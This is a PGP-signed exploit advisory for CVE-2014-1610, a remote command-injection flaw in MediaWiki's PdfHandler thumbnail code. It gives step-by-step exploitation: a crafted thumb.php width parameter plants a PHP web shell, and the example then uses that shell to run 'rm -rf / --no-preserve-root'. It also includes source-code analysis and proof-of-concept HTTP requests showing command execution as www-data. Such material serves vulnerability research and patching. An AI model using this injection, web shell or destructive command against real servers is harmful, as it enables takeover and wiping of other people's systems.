183 lines
No EOL
6.1 KiB
Text
183 lines
No EOL
6.1 KiB
Text
-----BEGIN PGP SIGNED MESSAGE-----
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Hash: SHA1
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####################################################################
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#
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# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)
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# Reported by Netanel Rubin - Check Point’s Vulnerability Research Group (Jan 19, 2014)
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# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014)
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# Affected website : Wikipedia.org and more !
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#
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# Exploit author : Xelenonz & @u0x (Pichaya Morimoto)
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# Release dates : Feb 1, 2014
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# Special Thanks to 2600 Thailand !
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#
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####################################################################
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# Exploit:
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####################################################################
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1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)
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http://vulnerable-site/index.php/Special:Upload
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2. inject os cmd to upload a php-backdoor
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http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20
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"<?php%20system(\\$_GET[1]);">images/xnz.php`
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3. access to php-backdoor!
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http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root
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4. happy pwning!!
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# Related files:
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####################################################################
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thumb.php <-- extract all _GET array to params
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/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width
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options
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/includes/media/ImageHandler.php
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/includes/GlobalFunctions.php
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/includes/filerepo/file/File.php
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# Vulnerability Analysis:
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####################################################################
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1. thumb.php
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This script used to resize images if it is configured to be done
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when the web browser requests the image
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<? ...
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1.1 Called directly, use $_GET params
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wfThumbHandleRequest();
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1.2 Handle a thumbnail request via query parameters
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function wfThumbHandleRequest() {
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$params = get_magic_quotes_gpc()
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? array_map( 'stripslashes', $_GET )
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: $_GET; << WTF
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wfStreamThumb( $params ); // stream the thumbnail
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}
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1.3 Stream a thumbnail specified by parameters
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function wfStreamThumb( array $params ) {
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...
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$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts
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uploaded.pdf file here
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...
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// Backwards compatibility parameters
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if ( isset( $params['w'] ) ) {
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$params['width'] = $params['w']; // << Inject os cmd here!
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unset( $params['w'] );
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}
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...
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$img = wfLocalFile( $fileName );
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...
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// Thumbnail isn't already there, so create the new thumbnail...
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$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image
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by width/height
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...
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// Stream the file if there were no errors
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$thumb->streamFile( $headers );
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...
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?>
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2. /includes/filerepo/file/File.php
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<? ...
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function transform( $params, $flags = 0 ) { ...
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$handler = $this->getHandler(); // << PDF Handler
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...
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$normalisedParams = $params;
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$handler->normaliseParams( $this, $normalisedParams );
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...
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$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );
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..
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?>
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3. /extensions/PdfHandler/PdfHandler_body.php
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<? ...
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function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
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...
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$width = $params['width'];
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...
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$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &
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parameters
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$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}
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-dLastPage={$page}";
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$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(
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$srcPath );
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$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );
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$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell
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argument
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$cmd .= wfEscapeShellArg( $dstPath ) . ")";
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$cmd .= " 2>&1";
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...
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$err = wfShellExec( $cmd, $retval );
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...
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?>
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4. /includes/GlobalFunctions.php
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Execute a shell command, with time and memory limits
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<? ...
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function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =
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array() ) {
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...
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passthru( $cmd, $retval ); // << Execute here!!
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# Proof-Of-Concept
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####################################################################
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GET /mediawiki1221/thumb.php?f=longcat.pdf&w=10|`echo%20%22%3C
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php%20system(\\$_GET[1]);%22%3Eimages/longcat.php`
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HTTP/1.1
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Host: 127.0.0.1
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Connection: keep-alive
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Encoding: gzip,deflate,sdch
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Accept-Language: en-US,en;q=0.8
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Cookie: my_wikiUserID=2; my_wikiUserName=Longcat;
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my_wiki_session=op3h2huvddnmg7gji0pscfsg02
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<html><head><title>Error generating thumbnail</title></head>
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<body>
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<h1>Error generating thumbnail</h1>
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<p>
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เกิดปัญหาไม่สามารถทำรูปย่อได้: /bin/bash: -: command not found<br />
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convert: option requires an argument `-resize' @
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error/convert.c/ConvertImageCommand/2380.<br />
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GPL Ghostscript 9.10: Unrecoverable error, exit code 1<br />
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</p>
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</body>
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</html>
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GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1
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Host: 127.0.0.1
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Connection: keep-alive
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Encoding: gzip,deflate,sdch
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Accept-Language: en-US,en;q=0.8
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Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2;
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my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1
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uid=33(www-data) gid=33(www-data) groups=33(www-data)
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# Back-end $cmd
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####################################################################
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GlobalFunctions.php : wfShellExec()
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cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150
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-dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' |
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'/usr/bin/convert' -depth 8 -resize 10|`echo "<?php
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system(\\$_GET[1]);">images/longcat.php` -
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'/tmp/transform_0e377aad0e27-1.jpg') 2>&1
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-----BEGIN PGP SIGNATURE-----
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=ooEs
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-----END PGP SIGNATURE----- |